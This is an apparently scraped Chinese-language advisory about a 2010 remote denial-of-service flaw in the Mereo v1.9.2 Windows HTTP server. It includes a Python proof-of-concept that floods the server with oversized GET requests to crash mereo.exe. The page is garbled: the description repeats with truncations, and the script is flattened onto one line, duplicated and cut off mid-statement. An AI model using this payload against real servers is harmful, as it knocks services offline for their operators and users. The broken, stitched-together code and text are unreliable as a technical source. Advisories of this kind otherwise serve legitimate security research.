MereoHTTP请求远程拒绝服务漏洞如何导致系统长时间无法响应？

本文共计252个文字，预计阅读时间需要2分钟。

发布时间：2010-08-30影响版本：Mereo v1.9.2漏洞描述：Mereo是运行在Windows平台上的小型HTTP服务器。远程攻击者可以通过向Mereo服务器发送恶意的HT+请求来发起攻击。

发布时间：2010-08-30影响版本：Mereov1.9.2漏洞描述：Mereo是运行在Windows平台上的小型HTTP服务器。远程攻击者可以通过向Mereo服务器发送恶意HT

发布时间：2010-08-30影响版本：Mereo v1.9.2漏洞描述：

Mereo是运行在Windows平台上的小型HTTP服务器。

远程攻击者可以通过向Mereo服务器发送恶意HTTP请求导致mereo.exe进程崩溃。

<*参考

CwG GeNiuS （cwggenius@gmail.com）

*>测试方法：本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

#!/usr/bin/python############################################################################# Title:    Mereo v1.9.2 Remote HTTP Server DoS (0day)# By:       CwG GeNiuS# Email:    cwggenius [at] gmail [dot] com# Tested:   XPSP3# Download: www.ohloh.net/p/mereo#############################################################################import socket, syspayload ="GET /";payload+="X" * 10000;payload+=" HTTP/1.1\r\n\r\n";count = 1;try:while (count <100):s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)print ("[*] Connecting to www.ohloh.net/p/mereo#############################################################################import socket, syspayload ="GET /";payload+="X" * 10000;payload+=" HTTP/1.1\r\n\r\n";count = 1;try:while (count < 100):s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)print ("[*] Connecting to www.assembla.com/wiki/show/mereo